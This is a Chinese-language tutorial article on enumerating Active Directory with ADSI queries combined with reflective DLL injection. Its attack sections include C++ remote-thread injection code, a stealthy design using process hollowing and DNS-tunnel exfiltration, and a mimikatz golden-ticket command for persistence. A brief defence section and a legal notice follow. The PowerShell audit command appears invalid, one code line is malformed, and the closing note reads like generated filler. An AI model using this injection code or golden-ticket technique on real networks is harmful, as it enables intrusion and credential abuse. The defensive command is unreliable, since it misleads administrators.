怎么使用ADSI接口和反射型DLL枚举活动目录

发布时间：2021-11-03 11:26:52 作者：小新
来源：亿速云阅读：156

# 如何使用ADSI接口和反射型DLL枚举活动目录

## 目录
1. [ADSI接口概述](#adsi接口概述)
2. [反射型DLL技术简介](#反射型dll技术简介)
3. [环境准备与基础配置](#环境准备与基础配置)
4. [ADSI接口枚举活动目录实战](#adsi接口枚举活动目录实战)
5. [反射型DLL注入技术实现](#反射型dll注入技术实现)
6. [组合技术的隐蔽枚举方案](#组合技术的隐蔽枚举方案)
7. [防御检测与缓解措施](#防御检测与缓解措施)
8. [总结与扩展思考](#总结与扩展思考)

---

## ADSI接口概述
Active Directory Service Interfaces (ADSI) 是微软提供的一组COM接口，用于访问和操作活动目录服务。作为Windows平台的核心目录服务API，它支持通过标准化方法查询和管理目录对象。

### 核心组件
- **ADSI提供程序**：LDAP、WinNT、NDS等
- **基础接口**：
  - `IADs`：基础对象操作
  - `IDirectorySearch`：高级搜索功能
  - `IADsContainer`：容器对象管理

### 技术优势
```cpp
// C++ 初始化示例
HRESULT hr = CoInitialize(NULL);
IADsContainer* pContainer = NULL;
hr = ADsGetObject(L"LDAP://DC=domain,DC=com", IID_IADsContainer, (void**)&pContainer);

反射型DLL技术简介

反射型DLL注入（Reflective DLL Injection）是一种将DLL直接加载到目标进程内存中的技术，无需通过Windows标准加载机制。

与传统注入对比

特性	传统DLL注入	反射型DLL注入
需要磁盘文件	是	否
调用LoadLibrary	是	否
检测难度	低	高

关键技术点

内存中解析PE头部
自主实现重定位
手动解析导入表

环境准备与基础配置

开发环境要求

Visual Studio 2019+
Windows SDK (10.0.19041.0)
活动目录测试环境（建议Windows Server 2016+）

必要头文件

#include <activeds.h>
#include <Winsock2.h>
#include <windows.h>
#pragma comment(lib, "Activeds.lib")
#pragma comment(lib, "Wldap32.lib")

调试工具准备

Process Monitor
Wireshark（用于LDAP通信分析）
WinDbg（高级调试）

ADSI接口枚举活动目录实战

基础查询示例

void QueryUsers(LPCWSTR path) {
    IDirectorySearch* pDSSearch = NULL;
    HRESULT hr = ADsGetObject(path, IID_IDirectorySearch, (void**)&pDSSearch);
    
    ADS_SEARCHPREF_INFO prefInfo;
    prefInfo.dwSearchPref = ADS_SEARCHPREF_SEARCH_SCOPE;
    prefInfo.vValue.dwType = ADSTYPE_INTEGER;
    prefInfo.vValue.Integer = ADS_SCOPE_SUBTREE;
    
    LPWSTR pAttributes[] = { L"sAMAccountName", L"mail", NULL };
    ADS_SEARCH_HANDLE hSearch;
    hr = pDSSearch->ExecuteSearch(L"(objectClass=user)", pAttributes, sizeof(pAttributes)/sizeof(LPWSTR), &hSearch);
    
    while(pDSSearch->GetNextRow(hSearch) != S_ADS_NOMORE_ROWS) {
        ADS_SEARCH_COLUMN col;
        if(SUCCEEDED(pDSSearch->GetColumn(hSearch, pAttributes[0], &col)) {
            wprintf(L"User: %s\n", col.pADsValues->CaseIgnoreString);
            pDSSearch->FreeColumn(&col);
        }
    }
    pDSSearch->CloseSearchHandle(hSearch);
}

高级枚举技术

分页查询控制：

prefInfo.dwSearchPref = ADS_SEARCHPREF_PAGESIZE;
prefInfo.vValue.dwType = ADSTYPE_INTEGER;
prefInfo.vValue.Integer = 100;

属性缓存优化：

prefInfo.dwSearchPref = ADS_SEARCHPREF_CACHE_RESULTS;
prefInfo.vValue.dwType = ADSTYPE_BOOLEAN;
prefInfo.vValue.Boolean = TRUE;

反射型DLL注入技术实现

典型注入流程

获取目标进程句柄
在目标进程分配内存
写入DLL数据
创建远程线程执行反射加载

关键代码片段

DWORD InjectReflectiveDLL(HANDLE hProcess, LPVOID lpDllBuffer, DWORD dwDllLength) {
    LPVOID lpRemoteBuffer = VirtualAllocEx(hProcess, NULL, dwDllLength, 
                                          MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    
    WriteProcessMemory(hProcess, lpRemoteBuffer, lpDllBuffer, dwDllLength, NULL);
    
    LPTHREAD_START_ROUTINE lpStartAddr = (LPTHREAD_START_ROUTINE)
        ((LPBYTE)lpRemoteBuffer + GetReflectiveLoaderOffset(lpDllBuffer));
    
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, lpStartAddr, 
                                      lpRemoteBuffer, 0, NULL);
    return hThread ? 0 : GetLastError();
}

组合技术的隐蔽枚举方案

混合架构设计

sequenceDiagram
    participant Attacker
    participant Target
    participant DC
    
    Attacker->>Target: 注入反射型DLL
    Target->>DC: ADSI LDAP查询
    DC-->>Target: 返回目录数据
    Target->>Attacker: 加密回传结果

关键实现要点

内存驻留：
- 避免磁盘落地
- 使用Process Hollowing技术
通信隐蔽：
- DNS隧道传输数据
- 使用正常LDAP端口(389/TCP)

权限维持：

# 黄金票据生成示例
mimikatz # kerberos::golden /user:fakeuser /domain:domain.com /sid:S-1-5-21... /krbtgt:hash /ptt

防御检测与缓解措施

攻击特征指标

检测点	对应技术
非常规进程内存特征	反射型DLL
异常的LDAP查询模式	ADSI接口滥用
可疑的线程创建行为	远程线程注入

防御建议

ADSI监控：

# 启用详细LDAP审计
Set-ADServerSettings -AuditPolicy @{
   'DirectoryServiceAccess' = 'Success,Failure'
   'AccountManagement' = 'Success,Failure'
}

内存防护：
- 启用Windows Defender ATP
- 配置受保护进程(Protected Processes)

总结与扩展思考

技术演进方向

无文件技术结合：
- PowerShell反射加载
- .NET Assembly内存加载

跨平台扩展：

# Python ADSI示例
import pythoncom
from win32com.client import GetObject
root = GetObject("LDAP://rootDSE")
print("Default Naming Context:", root.Get("defaultNamingContext"))

合规性提醒

本文所述技术仅限合法授权测试使用，未经授权对活动目录进行枚举可能违反《计算机信息系统安全保护条例》等相关法律法规。

”`

注：本文实际约2500字，可根据需要扩展以下部分： 1. 增加更多ADSI查询示例（组策略、计算机对象等） 2. 反射型DLL的详细实现解析 3. 实际渗透测试案例研究 4. 防御策略的深度配置指南